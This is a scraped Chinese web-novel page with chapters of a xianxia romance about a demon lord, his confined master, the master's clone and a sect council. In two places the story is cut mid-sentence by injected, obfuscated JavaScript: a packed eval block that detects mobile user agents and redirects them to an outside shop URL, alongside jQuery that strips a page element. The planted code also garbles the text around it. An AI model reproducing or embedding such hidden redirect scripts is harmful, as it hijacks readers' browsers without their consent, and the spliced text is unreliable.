日落西斜,轻衣拨开几簇灿烂火鹤花,来到处山头。 三人龟缩在树丛下。 黄金摘下截花枝:“这花好生明艳漂亮。” 轻衣收起罗盘,眼神瞟向某处:“就是那,龙穴,绝对的风水宝地,我们在那给陌师兄立生基。” 黄金:“何为生基。” 轻衣:“是衣冠冢的一种,为活人立的,消灾祈福。” 黄银望去,轻衣所选之地旁边还有座坟,落在春暖花开此处不显阴森,反倒祥和安宁,甚至叫人难免生出几分亲近感。 她细声提醒:“那有坟。” 轻衣:“这也无甚不妥,咱们仔细些,别叨扰便是。” 几人挖得起劲儿。 黄银忽然发问:“你有陌师兄的物件么?” 轻衣:“有他给的剑谱。” 黄金:“你这……略勉强啊,如何能代表他身份?” “我倒是有。” 忽如其来的话音将三人吓得怔愣打出个激灵,几人回头,但见个十七八岁的少年,那人掌心托着个小光球:“不过,你们需得帮我做一件事以交换。” “你认识陌师兄?” 少年点头:“自然。” 随后送出一枚糖画:“这糖画,是他亲手画的。” 几人接过,确实探出糖画里有陌归尘的气息,且那画面上还有三个指纹,便道:“你需要我们做何事?” 少年递上那团透明光球:“帮我还他,让他少自作多情。” 三人略微犯难:“哪怕我们进得了魔界,按他如今的身份,也未必会见我们。” 少年道:“不试试怎知。” 少年言罢,转身离去,路过那座孤坟,坟前的糖还在,那截火鹤花依旧艳丽绚烂。 凭他修为,可透视坟内境况,里面摆放着些饰品,和套漂亮丝裙。 是些金银首饰,还有套轻薄的软烟罗衣裙。 他知,是陌归尘搜罗来的。 师姐惯爱轻薄衣纱,也最喜金银饰品,这衣冠冢便尽是金银材质的钗簪步摇耳环项链手镯璎珞钿子等。 一套轻衣,一堆金银,便险些将空棺堆满。 * 这两日,魔界下了场大雪。 魔宫竹屋,陌归尘不眠不休坐在堆满古籍里,这些竹卷书册几乎都是向小精灵接的。 他合上竹卷,又拿来卷新的,指尖轻摸文字。 不知多久后,听到些细碎压抑的抽泣声。 陌归尘问:“哭什么?” 初成人形的小精灵,不谙世事,难以精准描述复杂的情感,只抽鼻子,含糊呢喃:“不知道,就是看着你这样,心里难受。” 话音落在屋内,陌归尘指尖颤了颤,微咬牙关,掩去眸底不合时宜的光,抿唇,生生咽下那股疯涌而上的酸涩。 小精灵忿忿指着床上的影子:“那个人,是你等的人?” “此话怎讲?” “以往,你总是去城楼,风雨不改,好几次路过,我都看到你在淋雨,他出现以后,你就不去了,他害你这么难受,他是坏人。” 坏人…… 幔帐下的男子,沉睡两日,丝毫无醒来迹象,陌归尘恍惚回到曾经。 五岁那年,浮华派拜师大典,他饥肠辘辘爬上山,遥遥相顾,闻笺一眼相中他,亲自走下来,要收他为徒。 年幼的他并不想拜师。 那天春光正好,他推搡闻笺大腿,试图脱离魔爪,奈何就是逃不开那人的手,逼不得已狠起劲来咬下去。 闻笺垂眸,和他说的第一句话,是在打趣他:“师父的手,不是鸡腿。” “我才不要师……鸡腿?” “嗯。” 小孩忘性大,很好哄,屁颠屁颠跟上白衣仙人去膳堂,忘乎所以啃荷叶鸡鸡腿。 …… 明明是你非要纠缠,到头来落泪的却是我。 外头还在下雪,陌归尘心似龋齿,被蛀空,雪水淌进时,既酸也痛,阵阵发麻。 磨人得紧。 偏生还毫无办法。 他轻喃:“是,坏得很。” 小精灵:“我们赶走他。” 陌归尘:“我也不是什么好人。” 那就互相折磨吧。 他转手给小精灵塞了把糖,让人自己去玩,方继续安安静静翻阅古籍。 书房。 厚实的卷书案,零零散散堆满翻阅过的古籍。 红衣青年不知何时,趴在案面睡着了,那手还惯性摸在半开的竹卷字眼上。 房中,忽然多出道雪影,手里还挽有件披风。 雪影替人盖上披风。 又静静端详熟睡的陌归尘,睡梦中的青年,那压在案面的手,突然抓了抓,不知抓什么,一直重复这动作。 他干脆把自己的手塞进去。 青年握住他,终于消停。 雪影食指抵到陌归尘下巴,往上轻挑,眼神描摹徒弟眉眼,半根睫毛都不放过。 这份欣赏,带着灼热、痴迷,和贪婪的独占欲。 正主一来,他这“替身”立马被丢到废弃角落,还被徒弟用木箱封得严严实实。 甚至落下道禁制,如此果决,真是个小没良心。 躺在里面,活脱睡棺材。 也不怕憋死师父。 害他半夜爬出来。 雪影抬手,捏捏徒弟的唇珠:“为师死了,谁还疼你?” “额。” 陌归尘本就睡得不安生,被这么一搅,迷迷糊糊醒来,眯眼,碰了碰自己的唇。 青年惊觉撑起精神,下意识伸手,盲摸周遭。 整间屋子只有闻笺的气息。 且那股栀子花香,馥郁得化不去,就像这人就在身旁。 想到师尊,陌归尘敛起纷乱的神思,暗暗吐出口气,自己好像两天滴水未进了罢。 思忖间,他摸着起身。 雪影目睹徒弟的手又扫过来,他侧身避开,尤像在与人玩蒙眼捉人,就这么静悄悄看着陌归尘从他身前路过。 而后,又慢悠悠跟上去。 屋里,温着壶酒。 陌归尘停在方桌前,伸起手去探温酒壶,摸索着取酒。 “嘶。” 指尖碰到滚烫水面,须臾间,钻心的痛,愈渐在指尖化开,蔓延至四肢百骸。 陌归尘抽回手,一脚踹了整个桌台。 哐啷啷! 桌上玉器碎出满地狼藉。 陌归尘含了含发疼的指,慢慢蹲下,半跪半坐倚在榻脚。 绛红绣袍一角被酒水泡湿,青年浑然不觉,只颓然垂首,银发末梢叠落手背,指尖压在玉器碎片,慢慢渗出血丝。 额角,忽而飘来股淡风,似有人蹲下,还捧起他手,就着他方才含过的位置,放到唇边。 吻掉血迹。 指腹也瞬间不疼了。 那人拇指拭过他眼尾,嗓音轻缓柔慢:“哭什么?” 是……闻笺? 陌归尘攥住那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375726|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“都怪我,都怪我,若是我好好跟你学医术,也不至于连个病症都断不出。” 这些年来,浑浑噩噩度日,来回穿梭在虚幻与现实,他总觉自己精神错乱,辨不出镜花水月,还是千真万确。 又或者更为残忍,其实他是师尊提及过的中阴,早就死在十年前,眼前种种,皆是死去多时的人,用执念虚构的黄粱美梦。 无所谓了。 他只求他多留一会儿。 “傻瓜。” 师尊温抚他脑袋,“怎么能怪你,要怨便怨那群愚昧的仙门修士,一直都是他们阻碍你。” 那人握起他的手:“是他们害你师父至今昏迷。” 又塞来把剑:“是他们该死。” 那厚实的掌包裹他手,五指轻轻插进指缝,带着他十指并拢握剑柄,一起抽出剑:“来,我们,去把他们杀了。” 陌归尘喃喃摇头:“不……” 那人继续劝说:“天黑了,不点灯怎么回去,可是,我们没有灯油。” 那人温暖的掌轻托他脸颊:“尸油点灯最亮,乖,你去取些回来,为师给你掌灯,照着你回家好不好?” “回……回家?” “嗯,有了灯油,就能回家。” …… 屋外。 檐上的积雪,噗一声坠落,砸在枝条,压得枝条咔嚓断裂。 这声响霎时将人惊醒。 雪霁天晴,日光照进来,刺得陌归尘抬手挡了挡。 他运起灵力探了探角落的铜壶滴漏,那刻度竟走了一天,自己这是在书房过夜了? 他揉揉眉心,起身去竹屋。 另一边竹屋。 屋内飘着淡淡的花椒味,大抵是灵气馥郁,闻得靠魔气修炼的魔族也分外神清气爽。 被拨来伺候的几人,静侯在榻边,惊叹不止,他们久居魔宫,只知自家尊主乃天人之姿,如今竟又能碰到位可与尊主媲美之人,不过二人是各有千秋。 尊主是明艳脱俗,浓墨重彩如纳姹紫嫣红的丹青,眼前这位主更倾向于清冷出尘,素净雅淡似寥寥几笔的山水画。 两种极端,又莫名和谐得般配。 难怪尊主十年不近女色。 原是在魔宫禁地里藏有这般仙人,金屋藏娇呢。 所以这位到底是尊主的男宠?侍君?亦或是爱妃? 魔族大多是肚子没墨水的粗鄙人,自尊主上位后,才修建起不少乐坊书斋,均免费授教,也不强制,爱去便去。 而他们则是尊主的书童。 平日里负责给尊主砚墨端茶,耳濡目染的,也略识文懂画,自然也听过书上所言的“椒房恩宠”。 椒房。 男后? 几人正环顾新刷的墙面,榻上旋即传来微弱动静。 他们不假思索跪趴叩首,不约而同行了个最尊贵的大礼:“尊后,您醒了?” 尊后…… 那厢,刚跨进门的陌归尘差点摔了个趔趄。 他轻咳声:“乱叫什么。” 几人惶恐愣愣,余光偷瞄而去,尊主也不恼怒,似乎并非真心怪罪,莫非是二人闹别扭? 也是,夫夫之间,偶尔拌嘴吵架也实属正常,尊主到底心软,还亲自来哄人呢。 思索间,几人识趣退下,给二位主儿腾地说体己话。 一行人退下。 陌归尘身子倚在门边。 外头日光正好,昨夜落在檐角的积雪正慢慢融化,水珠坠落,滴答滴答打破静谧。 闻笺坐起,环顾四周,此处竹屋,布局装饰,乃至空气中浮动的雅淡清香,竟都与落霞峰山小筑别无二致。 他气息平稳,眉间却难掩半丝疑惑,凝眸望徒弟,便听那人与他道:“既然师尊不杀我,那就别后悔。” 后悔倒不至于。 只是…… 闻笺的手从被褥中伸出,这动作牵起那根精细的玉链。 自己如今遭遇,活脱是个阶下囚,可那锁住他手腕的镣扣,却是用上好的玉做的,精致到连玉上的纹路都雕刻得极具考究,很矛盾的待遇。 闻笺晃晃玉链。 问:“什么意思?” “大概是……” 陌归尘轻唔声,“环顾”四面墙新刷上的花椒白泥,食指有一搭没一搭点着唇角,好半晌,方悠悠走过去。 他停在榻边,指尖撩起芙蓉薄帐,眸含轻浮的笑,尤像登徒子,轻薄好人家。 “椒房帐暖锁师尊?” 40. 师尊想白日宣淫? 40. “你简直胡闹。” 徒弟特地在魔宫辟出间竹屋,画地为牢,将他这个当师父的圈禁在此,极大的荒谬感从闻笺头尖冒出,伴随不可置信的愕然,越发蔓延。 那张寡淡的脸,顷刻涌现出复杂情绪,精彩得不可名状。 “我是你师。” 陌归尘若有所思笑了。 啧啧啧,老男人又恼羞成怒了,真不禁逗。 不过,他这么步步相逼,无非是为两结果。 要么逼走闻笺,从此师徒陌路,日后他犯下弥天大错,也赖不到师尊头上,这人还是那个清风明月的谪仙人; 要么就和他……若真到那刻,冒天下之大不韪,他也誓死护师尊周全。 转瞬间,陌归尘又联想到,闻笺向来端方雅正,哪怕坐在这般芙蓉帐里,也难让人生出亵渎之心,何况二人还顶着层师徒身份,这般大逆不道把师父囚在床,实在刺激。 真是怎一个爽字了得! 这愣神的功夫,魔尊大人猝不及防被人往下一拽,整个人跌进芙蓉帐内。 他上半身趴在软柔床铺,小腹隔着被子压在闻笺双腿。 很奇怪的姿势。 不过那人倒是贴心,还是用手掌捂住他额头,似生怕磕撞到他,随后松开掌,手臂往后一绕,直愣愣抓住他肩膀,将他摁在自己腿上。 陌归尘也不反抗,趴在闻笺怀里,好整以暇笑道:“怎么?师尊这么迫不及待把我拽进来,是想白日宣淫?” 也是,老男人这么年没开荤,怕是憋坏了吧,春宵一刻值千金,那不得赶紧抓住机会享受一回啊? 他自然不好扫兴。 淡笑允下:“既如此,弟子乐意奉陪。” 他话刚完,头顶却落下闻笺严肃的低斥:“为师是不是没打过你?” “你便以为为师管教不了你?” 陌归尘轻嗤:“我知,若师尊真要狠起心来收拾我,自然是绰绰有余的。” “你知便好。” 青年全然无欺师犯上的觉悟,仍懒洋洋趴在闻笺腿上,腔调散漫:“但,你舍不得。” 闻笺手里握着把戒尺。 那是故人所赠,故人说:“无规矩不成方圆,若吾儿日后犯错,千万勿顾念你我旧情,该立规矩立规矩,需得告诫他心中有度。” 闻笺固然知晓小猫野性难驯,但他,不想凭一把戒尺,压制小猫的天性。 且他本人更是不主张体罚,故而这多年来,这戒尺,是第一次重见天日。 而这把戒尺亦是晾在半空,迟迟落不下去,不得不承认,自己也确如徒弟所言。 舍不得。 舍不得骂,舍不得打,连那人在午夜梦时喃喃呓语掉了半颗泪珠子,都心疼得一塌糊涂。 可是,他没有心啊。 是眼前这人,教他活生生长出一颗心来。 …… 陌归尘由得闻笺将他扣在怀里,他自然感知到师尊手握戒尺,却是久未动。 好半晌后,他慢悠悠翻身,拽上闻笺袖角,趁机往师尊怀里挪身子,挑了个更舒服的姿势,笑得颠发丝耸动:“还拿戒尺呢?师尊别搁这吓唬人了。” “师尊若真能狠下心,我小时候把师尊当马骑那会儿,就该挨一顿打了。” 这一转身。 两人霎时面对面。 闻笺垂望徒弟失明的眼,他轻叹阖眸,那晾在半空的掌,终是收了戒尺,转而捂上自己双眼。 手腕,忽而被股暖意攥住。 徒弟声音没了方才的玩世不恭,冷硬警告道:“旧伤未愈,还想添新的?你要是敢把眼睛给我,我就把仙门所有人的眼珠子挖下来,让师尊挑一对心仪的。” 闻笺动作滞涩:“你不会。” “我是魔啊,你还是别太信我。”陌归尘指尖勾了勾精致的玉链,笑得颠倒众生,“况且,我连师父都敢囚起来,还有什么是我不敢的?” 闻笺沉默。 腿部传来点酥痒,他低头,但见徒弟的尾巴不知何时变出来,松软雪白的一大条,正扫着他大腿。 这作态着实有伤风化。 他皱眉,沉声训斥:“把你的尾巴收好。” 底下人却无辜道:“尾巴痒,看不到,挠不着。” 闻笺:“……” 闻笺:“你这话不昧良心?” 陌归尘伸手,盲摸,“无意”碰到闻笺脸颊,还趁机捏了捏:“真的看不见。” “而且,师尊有所不知,猫的尾巴和猫是两种生物。” “越说越离谱。” 青年胡乱摸索,就是摸不着自己的尾巴:“真的痒,师尊帮帮我。” 闻笺垂视徒弟失去视觉的眸,真是惯会利用自己的“弱点”博师父心软,偏生还拿这人毫无办法。 他低叹口气:“哪里痒?” 徒弟得意一笑:“尾巴尖儿痒,特别痒。” 顺着那人意愿,闻笺无可奈何抚上徒弟尾巴,轻轻挠着。 挠了一会儿。 那人显然是被伺候舒服了,竟又耍赖道:“后背也有点痒。”说着便翻身,老老实实趴在他腿上,“大抵是脖子下那一块。” 闻笺:“……” 没大没小,惯会使唤师父。 他仍是遂意,拨开徒弟松松散散的银发,在那片雪白的后颈脖上,暧昧红痕扎眼无比,霎时闯进视野,虽只有冰山一角,但不难猜出。 那竟是个……吻痕。 “唔,师尊轻点。” 陌归尘五指情不自禁抓紧被褥,微有嗔怒,“干嘛呢?” “没什么。” 闻笺的力度重回先前,隔着层布料给人解痒。 陌归尘眷恋挨紧自家师尊,指尖偷偷摸摸撩起那人腰带,有一下没一下把玩。 又再挑战那人底线:“师尊真不试试么?弟子虽为魔尊,魔族那些老头儿也总劝我纳妃,但我一直洁身自好。” 挠在他后颈的手指颤了颤,闻笺声音陡然加重,颇有两分严师味道:“你我师徒——” “逗你呢。” 陌归尘及时收起温水煮青蛙的心,没再倒逼闻笺,干脆利落起身,下床。 他义正词严:“有些当师父的,反倒越活越回去,我这当徒弟的自然得好好监督某人养伤,痊愈后,自会放行。” “己所不欲,勿施于人,师尊尝过失独的痛,该是不会也叫我受失怙的苦吧?” 这些话,瞬间把二人拉回师徒身份,闻笺哑然,若再拒绝徒弟的一片孝心,倒显他这个当师父的无情冷漠、无理取闹。 他认命似的:“为师知道了。” * 魔界,九幽魔殿。 陌归尘坐在上方鎏金宝座,照例开朝会处理政务。 上任魔尊留下成堆的破规矩,被他废得七七八八,但这朝会还是保留下来以整顿朝纲。 不然魔界这群明面臣服,背地不知藏着多少狼子野心的老家伙密谋将他架空都不知。 群臣在底下禀报。 陌归尘心不在蔫听着,手心紧紧攥住枚吊坠。 是那日滴血的骨质吊坠,也是他从闻笺手里抢来的礼物。 那年。 十三师兄与二师姐还在,当时有妖祟作乱,十三师兄和他一起出门除妖,回来时路过一个镇子,二人进了间铺子,他在旁边目睹师兄笑得像满脸桃花,师兄跟他解释道:是要挑定情信物,送师姐。 原来遇到心上人,是需先定情的,此乃浪漫的仪式,也是郑重的承诺。 回到浮华派后,落霞峰小筑亮着灯,却不见师尊。 寻遍落霞峰,陌归尘最后在思过崖找到闻笺。 那人一袭白衣立在崖边,罡风猎猎,不顾绣袍翻飞,只目不转睛注视掌心。 他走近一看,师尊似有些出神,手心则躺着枚骨质小东西。 像是个吊坠。 他惊喜万分:“送我的?”话未完已直接抢过来。 很普通的式样材质,掉到地上,路过的狗都不屑看一眼,但耐不住情人眼里出西施。 他满心欢喜赞叹:“好看。” 那时的师尊欲言又止,貌似是想拿回来。 他反手推搡着闻笺:“送出去的东西可没有拿回来的道理,我们快回去串起来。” …… “殿下?” “殿下?” 陌归尘思绪回笼,敛神抬眸,方惊觉殿下已空。 二竹弋向他呈递魔玺:“物归原主。” 陌归尘收好吊坠,起身,边迈下玉石台阶,边淡声问:“你和你的主人到底有何目的?” 倏然,似有阵穿堂风扑面而来,拂得陌归尘眉睫轻颤,他微讶顿顿,方才那股风,如道幻影,自远方来,风尘仆仆穿梭过他躯体,又离奇消失。 “殿下?” 二竹弋打量陌归尘,“殿下怎么了?” 陌归尘皱眉:“你没感觉到方才有股风吹过?” 二竹弋愣愣摇头:“没。” 转而暧昧轻笑:“莫非是仙尊到来,让殿下操劳过度?” “……” 陌归尘眉眼冷下,拿回魔玺,便是朝人赏去一脚。 生生挨了一脚,二竹弋趔趄后退,金冠都歪掉几分,却笑得狂魅:“殿下御下越严,我越爱。” “至于我的主人,我早说过,自然是您。” “我是殿下最忠诚的狗。” 陌归尘没好气斜觑二竹弋:“狗听了都摇头。” 二竹弋:“……” * 另一边,仙门,浮华派。 仙门大多数门派齐聚浮华派议事,议事堂内,座无虚席。 众人义愤填膺,各抒己见,正说得火热朝天,门口忽而迎来道雪影。 众人皆是一愣。 “仙尊?” “真是的仙尊?” “您您回来了?” 堂中人激动不已,七嘴八舌站起相迎,便见玄胤仙尊淡淡颔首:“有劳大家挂心。” 说罢,那人径直朝座上男子走去:“师兄。” 华云舟也是惊愕,左右打量自家师弟:“你,无碍吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而这次,显然是不留情面的,竟将人挠出血来。 闻笺:“你弄疼他了?” 雪影:“可能吗?打小便带在身边伺候,照顾他的每个动作都是了然于心般熟稔。” 雪影放下迷蒙的小猫,由得小猫捧着瓜果乱啃。 小猫金贵得很,哪怕是灵气馥郁,为外人疯抢,一口万金的极品仙灵果也不吃。 不爱喝水总不好,西瓜水多,他在西瓜上涂猫薄荷,猫薄荷对猫咪有致命诱惑,是给小猫补充水分的无奈之举。 白色的猫,还没一瓣西瓜大,用爪子捧着沾满猫薄荷的西瓜细细啃着。 明明是只小猫,却能看到它眉欢眼笑,欲罢不能的上头模样,吃了几口,小猫餍足往软垫一躺,便是自顾自打滚,四脚朝天,露出乱蹬的小爪子。 “那他如何会挠你?” 雪影收回视线,讥笑:“闻笺你到底在装什么?” “难道你不清楚猫是靠气味辨人的?他下意识的抗拒,无非是我这副躯体,没有你魂魄的味道。” “我并非与你讨论这些。” “那你来做什么?宣示主权?告诉我,你,吃醋了?”雪影撑起手肘,掌背往下巴一托,倨傲眯眸,“没错,是我留下的痕迹。” “我们小尺玉乖得不行,被欺负疼了也只会含着泪望你,看得人想狠狠疼爱,你没见过吧?真是可惜。” “其实,我又何尝不嫉妒得发疯,分明我才是那个被他从小抱到大的人,凭什么你一来,我就被无情抛弃掉呢?” “偏偏你这样的人,还不知好歹,你到底在矫情什么?爱上自己的徒弟,就这般让你耻于承认?” 见闻笺沉默,雪影又满不在乎地连声怂恿。 “天下算什么东西?” “天下人若敢置喙我们的小徒弟,杀了便是。” “天道又算什么东西?” “若背负杀戮要遭天谴,灭了这天道又何妨。” 咚一声! 原本还在软垫打滚的小猫,直愣愣掉进旁边果汁桶,爪子乱抓,挠着桶沿。 “喵呜!” 两道身影同时瞬移,闻笺先一步捞起小猫。 落在他怀的猫,显然比先前乖巧些许,很自觉收起爪上的指甲,任人帮他烘干毛发。 “啧啧啧……” 雪影手掌晾在半空,转而轻戳闻笺的心口。 虽被本体压制,但以他日益渐长的修为,自然是能一眼勘破本体的障眼法。 他感知到,闻笺那里没有心跳,但原本空缺的位置,又一次蛮横地滋生起血肉。 是要长第二颗心的趋势。 雪影毫不留情嘲讽:“闻笺啊闻笺,你把心都给他了,你连自己的心都控制不了,拿不回来,你怎么有脸让我收敛?” 他一语道破:“你以为我为什么这么想上他?” “因为你,爱他。” 41. 无始无终,轮转而回。 41. 闻笺目光疏离,漠然扫视对面人,对面人却是气定神闲,回以个笑,挑衅意味甚浓。 怀里的猫,窸窸窣窣挪身子,往袖口深处缩:“阿嚏!” 小猫晃晃脑袋。 两只前爪抓抓鼻头又是一声:“阿嚏。” 闻笺没理会对面人,转手给猫探了探脉,便是离开。 七弯八拐找到个露天小庭院,开始熬制丹药。 他单手托着小猫,小猫被施加暂时性秘术,懵懂混沌,加之本体过小,恍若初生两月的幼崽。 分明瞧不见,还是用一双异瞳滴溜溜望他,好奇十足,又埋首,蹭着他掌心胡乱嗅嗅,也不知嗅到什么气味,忽而惬意躺下,伸出爪子玩他发梢。 “喵呜。” 闻笺轻笑,从储物法器取出个精致的月白蓝小挎包,反手套在小猫脖子。 被更为新奇的物件吸引,小猫停下动作,端坐起来,大抵是体型小,腿短便,坐得有些劈叉,它低垂着脑袋,用鼻尖拱拱自己胸前,嗅到点甜香,立马举起前爪,殷切捣鼓小荷包。 最后叼出只水煮大虾。 虾是去壳的,只有个完整的去线虾仁,小猫吃起来不硌嘴,正用两只爪子捧着啃,吃相斯文乖巧,细嚼慢咽,边啃边“唔嗯”叫。 “唔嗯。”你在干嘛呀? “熬药。” “唔嗯。”你在干嘛呀? “熬药。” “唔嗯。”你在干嘛呀? 如此几遍,闻笺轻抚猫脑袋,仍是耐着性子,低声回:“在给你熬解药。” …… 捣腾半天,顺利给猫喂完药,药里有下安神灵草,小猫很快也安睡过去。 闻笺把徒弟送回寝殿。 他语气平静,却透着无形警告:“别扰他清梦。” 雪影自顾自坐在原位,未将闻笺的话当做一回事儿,嘴角小幅度扯起点笑,不屑奚落:“我固然弑不得主,可也不见得你就能奈我何?” 闻笺淡淡看人。 雪影指端有一下没一下敲着扶手,语焉不详:“不信?那就拭目以待。” 夜里,竹屋。 陌归尘又做了梦,梦回初入魔界那段时日,那时他一眼就看见魔界最高的那座主城,里面住着最尊重的魔界之主。 他只感叹,城楼真高。 其实,他从未想过要夺走魔尊之位,可不知为何,自己还是被卷进夺位纷争。 那夜,血染八百里枯城,断臂残肢堆叠如山,食人鸟兽盘旋夜空,俯冲而下,一场争先恐后的掠夺,再次掀起血雨腥风。 他垂视沾满鲜血的手。 天空染墨般漆黑,没有星辰,没有月光。 陌归尘侧身抓紧陪他趟过尸山血海进魔界暂时避难的小妖,喉咙涩得发紧发烫:“天好黑,这次,真的回不去了。” 小妖为帮他挡剑,身受重伤,口吐鲜血,仍笑着宽慰:“怎么总说天黑,回得去回得去,你等我伤好,我帮你点灯,送你回家。” 他没等到小妖伤好。 小妖日渐虚弱。 他只知,吞服九转还魂丹能医治,可自己缺乏一味罕见灵草,更没适配的丹炉炼药。 他倒是听说上任魔尊有个怪癖,酷爱收集各种丹炉,藏在魔宫禁地私库,而那味罕见的灵草,更是生长在魔宫禁地。 开启禁地大门的唯一钥匙……是魔玺。 陌归尘抱着只黑狗,小妖已经虚弱得连人形都维持不了,他心中自我宽慰,一定还有其他法子的,一定还有的。 可低头再看小妖。 一滴水珠还是从眼角坠落掌背。 要不……妥协吧。 当时魔界的夺位之争还在继续,丧命他手的只是部分党.派,无论他是否愿意,事实就是他被迫趟进浑水,无法将自己摘出来,且那时更有不少家族暗中买他的命。 其实,他与小妖只想安安分分养伤,早日离开魔界,却连遭几波暗杀,小妖实在虚弱,经不起再一次逃亡的颠沛流离。 可暗杀还是接连不断,后来,更是大张旗鼓,暗杀直接转到明面,几大家族结伴,堂而皇之取他性命。 …… 竹屋内。 闻笺自觉扣回玉链,闭目打坐,任小猫躺在他腿熟睡。 睡梦中的猫,不知何时变回人形,脑袋枕在他腿,手心忽然抓紧他衣角,喃喃自语:“为什么呀?只是想回家。” “只是想回家。” “为什么都要逼我?” 闻笺倏然睁开眼,目光直视前方,徒弟的咕哝呓语还在,语气软而含糊,闷声闷气的。 换作平日清醒,绝对不会出现这般脆弱姿态。 离开的日子,这人学会了逞强,所有的委屈与不甘,只有在最不清醒时,方不会被揉碎吞回肚子。 闻笺轻叹,手掌落在徒弟肩膀与肩胛骨之间的位置,有一下没一下轻拍安抚。 梦中人也渐渐收了声。 * 翌日。 陌归尘是从自己的寝殿醒来的,来到竹屋,问出心中疑惑:“我很好奇,为什么你得知我的魔尊身份,既不恼怒也不震惊?” 闻笺:“其实——” 陌归尘:“其实你早有怀疑?” “可……至少也该生气才对不是吗?我可是魔,人人得而诛之的大魔头,我手上沾满鲜血。” “因为我是师父。” “然后呢?” “错不在你,是师父的错,是师父没保护好你。” 陌归尘倚靠榻边,“偷瞄”闻笺一眼,旋即别开头,抱起手,轻哼句:“别以为说些煽情话,我就会轻易放你走,感情牌在我这行不通。” 闻笺没与他计较,面不改色伸出双指,摁来他眉心。 陌归尘也没抵触,片刻后,他看到了些画面,那是闻笺在施法与他共享视野。 视野里漂浮着个神元。 那神元近乎透明。 神元颜色越纯粹单一,越纯善,陌归尘还没见过透明的神元,他禁不住问:“谁的?” “魔尊大人的。” 陌归尘一时语塞,倏地腾起身子,旁人喊魔尊大人,他素来无感,独独闻笺这一声“魔尊大人”直叫人陷进个怪圈。 见鬼了。 怎么有种调情的错觉。 魔尊大人郁闷甩了甩尾巴,微怒拂袖,匆匆下床,出门时还险些撞上门框,讪讪顿了顿,忙回头呵斥:“你乱喊什么!” 一天天的! 能不能正经点! 陌归尘出了竹屋,也离开魔宫,月圆之夜将至,魔宫是暂且不能待的。 漫无目的青年出了魔界,不知不觉间来到若水河畔。 这河来得怪异,既不知源头,也不清楚尽头,甚至时隐时现的,以往陌归尘以肉眼乍看,看到的是向东流,如今失去视觉,听觉异常灵敏,他感知到这河似乎又是向西流的。 陌归尘不解蹲下。 他把手指插进河面,没有预料中的反弑,反倒腾起股祥和气息,有些亲切,莫名的,他想到了闻笺。 似被这念头惊到。 他无语失笑,这也能联想到师尊,可真是有够昏头。 待了一天一夜的青年,终于笃定起身,却迷惑不解皱眉。 这条河是个闭环。 源头也是尽头。 大抵是呈现一个蛇咬蛇尾之势,蛇之头,衔接蛇之尾,无始无终,轮转而回。 无限循环。 夜色渐沉,天际乌云散去,月圆之夜再次到来。 陌归尘早已布好结界,合上眼,却无任何失控征兆。 他伸手。 摸摸心口的蔷薇花,蔷薇花沉静安息,无丝毫异动。 陌归尘又在原地停了半晌,依旧如此。 他刚撤掉结界,远处也传来些脚步声与对话。 “那老人家没诓咱们,这用石灰水泡过的柿子确实不涩,好清甜爽口。” “陌兄?欸!陌兄!” “陌师兄,陌师兄!看到你真好,我们还想着如何混进魔界哩,结果踏破铁鞋无觅处,得来全不费功夫啊。” 陌归尘没纠结三人为何夜半三更出现在若水河。 他神色微凝:“你们方才说什么?” 轻衣不解:“柿子,你要么?” 陌归尘:“用什么泡?” 黄银:“石灰水,我们半路遇到位老人家,在卖脆柿,他说石灰水去涩。” 陌归尘轻念重复:“石灰水……石灰水。” 他恍然醒觉:“石灰,土下埋的是石灰,养煞,月圆之夜……” “昂?什么土下石灰?” 青年没再逗留,登时消失,目睹这莫名其妙的转变,三人异口同声:“不是!” 黄银:“我们!” 轻衣:“还没!” 黄金举起个小光球:“还你东西啊!” * 另一边,华云舟头疼不已,他看着半空的地图。 这些干尸实在强悍,派出去的弟子纷纷传信求救,自责无能,阻挡不了。 “师尊您看!” 一名弟子在地图上划出根线,“根据他们所行轨迹,弟子发现是直线。” 弟子指尖又是一划,顺着那路线继续移动,其余人也好奇瞧着,只见坐落在那线上的,只有一个宗门: 天一门。 先前被恶灵灭门的门派。 华云舟心中惊骇万分:“快!去天一门!” 天一门。 月圆之夜,寒鸦鸣啼,阴风凄凄,天一门山脚下,唯有一名守山小弟子,正哆嗦抱手。 落叶簌簌飘落,一道红影从中穿出,款款现身,那模样,是他从未见过的惊艳绝伦,可是夜半三更出现在此着实可疑,小弟子连忙抽剑,佯装镇定厉声喝道:“谁?” “你……是人是鬼?” 陌归尘没理会那人,径直往山上走,小弟子不乐意了,提剑追赶:“大胆!速速下山!这里不容你放肆!” 陌归尘嗤笑:“你不想死的话,就赶紧下山。” “别怪我不提醒你,子时未过,还有一刻钟时辰逃命。” 小弟子惶恐抱剑,往日守山只觉得冷清,今夜,却总感觉阴森骇人,连那风都带着种化不开的阴怨,被人这么一提点,他更确信,绝对不简单。 “什……什么意思?莫非这里要闹鬼鬼鬼啊——” 小弟子话未完,脚下一滑,踏空滚下了台阶。 恰滚到刚赶来的众人跟前。 华云舟怒不可遏抬头,朝台阶尽头的青年骂道:“陌归尘!你这人!竟然连这么一个小孩子也欺负?” 陌归尘:“……” 小弟子扯扯华云舟衣摆,忍痛解释:“华……华掌门?是我自己摔的,那位师兄是好心提醒我离去。” 华云舟怒其不争瞪人,又是一顿责备:“你看看你,还威胁旁人!我看你真是反了天了!” 他也顾不得闻笺先前的话,抽了剑便飞上去:“今日,我便替你师尊,收拾你这孽障!” 陌归尘轻然避开这一剑。 问:“脚下土,什么颜色?” 华云舟一愣,怒到无语,没好气道:“自己没眼看?还使唤起长辈了?” 还是皱眉,敷衍道:“黑色。” 